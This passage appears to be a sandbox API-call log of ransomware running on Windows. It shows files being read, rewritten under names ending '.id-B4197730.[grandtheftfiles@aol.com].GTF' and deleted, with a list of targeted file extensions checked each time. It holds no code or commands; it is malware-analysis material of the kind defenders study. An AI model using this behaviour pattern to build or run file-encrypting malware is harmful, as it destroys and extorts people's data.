	[0176.823] ReadFile (in: hFile=0x530, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x29ac, lpOverlapped=0x0) returned 1
	[0176.825] WriteFile (in: hFile=0x58c, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x29b0, lpOverlapped=0x0) returned 1
	[0176.826] ReadFile (in: hFile=0x530, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.826] WriteFile (in: hFile=0x58c, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0176.826] SetEndOfFile (hFile=0x58c) returned 1
	[0176.826] CloseHandle (hObject=0x58c) returned 1
	[0176.826] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.827] SetEndOfFile (hFile=0x530) returned 1
	[0177.013] CloseHandle (hObject=0x530) returned 1
	[0177.013] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0177.151] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152892.wmf")) returned 1
	[0177.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68
	[0177.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68
	[0177.964] lstrlenW (lpString=".doc") returned 4
	[0177.965] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.965] lstrlenW (lpString=".docx") returned 5
	[0177.965] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0177.965] lstrlenW (lpString=".pdf") returned 4
	[0177.965] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.965] lstrlenW (lpString=".xls") returned 4
	[0177.965] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.965] lstrlenW (lpString=".xlsx") returned 5
	[0177.965] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0177.965] lstrlenW (lpString=".ppt") returned 4
	[0177.965] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68
	[0177.965] lstrlenW (lpString=".zip") returned 4
	[0177.965] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.965] lstrlenW (lpString=".rar") returned 4
	[0177.965] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.965] lstrlenW (lpString=".bz2") returned 4
	[0177.965] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.965] lstrlenW (lpString=".7z") returned 3
	[0177.965] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68
	[0177.965] lstrlenW (lpString=".dbf") returned 4
	[0177.965] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68
	[0177.965] lstrlenW (lpString=".1cd") returned 4
	[0177.965] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68
	[0177.965] lstrlenW (lpString=".jpg") returned 4
	[0177.965] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68
	[0177.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68
	[0177.966] lstrlenW (lpString=".doc") returned 4
	[0177.966] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.966] lstrlenW (lpString=".docx") returned 5
	[0177.966] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0177.966] lstrlenW (lpString=".pdf") returned 4
	[0177.966] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.966] lstrlenW (lpString=".xls") returned 4
	[0177.966] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.966] lstrlenW (lpString=".xlsx") returned 5
	[0177.966] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0177.966] lstrlenW (lpString=".ppt") returned 4
	[0177.966] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68
	[0177.966] lstrlenW (lpString=".zip") returned 4
	[0177.966] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.966] lstrlenW (lpString=".rar") returned 4
	[0177.966] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.966] lstrlenW (lpString=".bz2") returned 4
	[0177.966] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.966] lstrlenW (lpString=".7z") returned 3
	[0177.966] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68
	[0177.966] lstrlenW (lpString=".dbf") returned 4
	[0177.966] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68
	[0177.966] lstrlenW (lpString=".1cd") returned 4
	[0177.966] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68
	[0177.966] lstrlenW (lpString=".jpg") returned 4
	[0177.966] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.967] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0177.967] lstrlenW (lpString="J0153089.WMF") returned 12
	[0177.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153089.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0178.038] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=7848) returned 1
	[0178.038] CloseHandle (hObject=0x3e0) returned 1
	[0178.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153089.wmf")) returned 0x220
	[0178.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153089.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0178.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153089.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0178.055] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.055] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153089.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0178.056] GetLastError () returned 0x0
	[0178.056] ReadFile (in: hFile=0x45c, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x1ea8, lpOverlapped=0x0) returned 1
	[0178.058] WriteFile (in: hFile=0x3e0, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x1eb0, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x1eb0, lpOverlapped=0x0) returned 1
	[0178.059] ReadFile (in: hFile=0x45c, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.059] WriteFile (in: hFile=0x3e0, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0178.059] SetEndOfFile (hFile=0x3e0) returned 1
	[0178.059] CloseHandle (hObject=0x3e0) returned 1
	[0178.059] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.060] SetEndOfFile (hFile=0x45c) returned 1
	[0178.063] CloseHandle (hObject=0x45c) returned 1
	[0178.063] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0178.063] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153089.wmf")) returned 1
	[0178.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68
	[0178.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68
	[0178.064] lstrlenW (lpString=".doc") returned 4
	[0178.064] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.064] lstrlenW (lpString=".docx") returned 5
	[0178.064] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0178.064] lstrlenW (lpString=".pdf") returned 4
	[0178.064] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.064] lstrlenW (lpString=".xls") returned 4
	[0178.064] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.064] lstrlenW (lpString=".xlsx") returned 5
	[0178.064] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0178.064] lstrlenW (lpString=".ppt") returned 4
	[0178.064] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68
	[0178.065] lstrlenW (lpString=".zip") returned 4
	[0178.065] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.065] lstrlenW (lpString=".rar") returned 4
	[0178.065] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.065] lstrlenW (lpString=".bz2") returned 4
	[0178.065] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.065] lstrlenW (lpString=".7z") returned 3
	[0178.065] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68
	[0178.065] lstrlenW (lpString=".dbf") returned 4
	[0178.065] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68
	[0178.065] lstrlenW (lpString=".1cd") returned 4
	[0178.065] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68
	[0178.065] lstrlenW (lpString=".jpg") returned 4
	[0178.065] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68
	[0178.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68
	[0178.065] lstrlenW (lpString=".doc") returned 4
	[0178.065] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.065] lstrlenW (lpString=".docx") returned 5
	[0178.065] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0178.065] lstrlenW (lpString=".pdf") returned 4
	[0178.065] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.065] lstrlenW (lpString=".xls") returned 4
	[0178.065] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.065] lstrlenW (lpString=".xlsx") returned 5
	[0178.065] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0178.065] lstrlenW (lpString=".ppt") returned 4
	[0178.065] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68
	[0178.066] lstrlenW (lpString=".zip") returned 4
	[0178.066] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.066] lstrlenW (lpString=".rar") returned 4
	[0178.066] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.066] lstrlenW (lpString=".bz2") returned 4
	[0178.066] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.066] lstrlenW (lpString=".7z") returned 3
	[0178.066] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68
	[0178.066] lstrlenW (lpString=".dbf") returned 4
	[0178.066] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68
	[0178.066] lstrlenW (lpString=".1cd") returned 4
	[0178.066] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68
	[0178.066] lstrlenW (lpString=".jpg") returned 4
	[0178.066] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.066] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0178.066] lstrlenW (lpString="J0153265.WMF") returned 12
	[0178.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153265.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0178.068] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=3008) returned 1
	[0178.068] CloseHandle (hObject=0x45c) returned 1
	[0178.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153265.wmf")) returned 0x220
	[0178.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153265.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0178.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153265.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0178.068] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.068] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153265.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0178.069] GetLastError () returned 0x0
	[0178.069] ReadFile (in: hFile=0x45c, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0xbc0, lpOverlapped=0x0) returned 1
	[0178.071] WriteFile (in: hFile=0x3e0, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xbd0, lpOverlapped=0x0) returned 1
	[0178.072] ReadFile (in: hFile=0x45c, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.072] WriteFile (in: hFile=0x3e0, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0178.073] SetEndOfFile (hFile=0x3e0) returned 1
	[0178.073] CloseHandle (hObject=0x3e0) returned 1
	[0178.073] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.073] SetEndOfFile (hFile=0x45c) returned 1
	[0178.076] CloseHandle (hObject=0x45c) returned 1
	[0178.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0178.076] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153265.wmf")) returned 1
	[0178.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68
	[0178.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68
	[0178.077] lstrlenW (lpString=".doc") returned 4
	[0178.077] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.077] lstrlenW (lpString=".docx") returned 5
	[0178.077] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0178.077] lstrlenW (lpString=".pdf") returned 4
	[0178.077] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.077] lstrlenW (lpString=".xls") returned 4
	[0178.077] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.077] lstrlenW (lpString=".xlsx") returned 5
	[0178.077] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0178.077] lstrlenW (lpString=".ppt") returned 4
	[0178.077] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68
	[0178.078] lstrlenW (lpString=".zip") returned 4
	[0178.078] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.078] lstrlenW (lpString=".rar") returned 4
	[0178.078] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.078] lstrlenW (lpString=".bz2") returned 4
	[0178.078] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.078] lstrlenW (lpString=".7z") returned 3
	[0178.078] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68
	[0178.078] lstrlenW (lpString=".dbf") returned 4
	[0178.078] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68
	[0178.078] lstrlenW (lpString=".1cd") returned 4
	[0178.078] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68
	[0178.078] lstrlenW (lpString=".jpg") returned 4
	[0178.078] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68
	[0178.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68
	[0178.078] lstrlenW (lpString=".doc") returned 4
	[0178.078] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.078] lstrlenW (lpString=".docx") returned 5
	[0178.078] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0178.078] lstrlenW (lpString=".pdf") returned 4
	[0178.078] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.078] lstrlenW (lpString=".xls") returned 4
	[0178.078] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.078] lstrlenW (lpString=".xlsx") returned 5
	[0178.078] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0178.078] lstrlenW (lpString=".ppt") returned 4
	[0178.079] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68
	[0178.079] lstrlenW (lpString=".zip") returned 4
	[0178.079] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.079] lstrlenW (lpString=".rar") returned 4
	[0178.079] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.079] lstrlenW (lpString=".bz2") returned 4
	[0178.079] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.079] lstrlenW (lpString=".7z") returned 3
	[0178.079] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68
	[0178.079] lstrlenW (lpString=".dbf") returned 4
	[0178.079] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68
	[0178.079] lstrlenW (lpString=".1cd") returned 4
	[0178.079] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68
	[0178.079] lstrlenW (lpString=".jpg") returned 4
	[0178.079] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.079] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0178.079] lstrlenW (lpString="J0153273.WMF") returned 12
	[0178.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153273.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0178.080] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=20096) returned 1
	[0178.080] CloseHandle (hObject=0x45c) returned 1
	[0178.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153273.wmf")) returned 0x220
	[0178.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153273.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0178.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153273.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0178.081] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.081] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153273.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
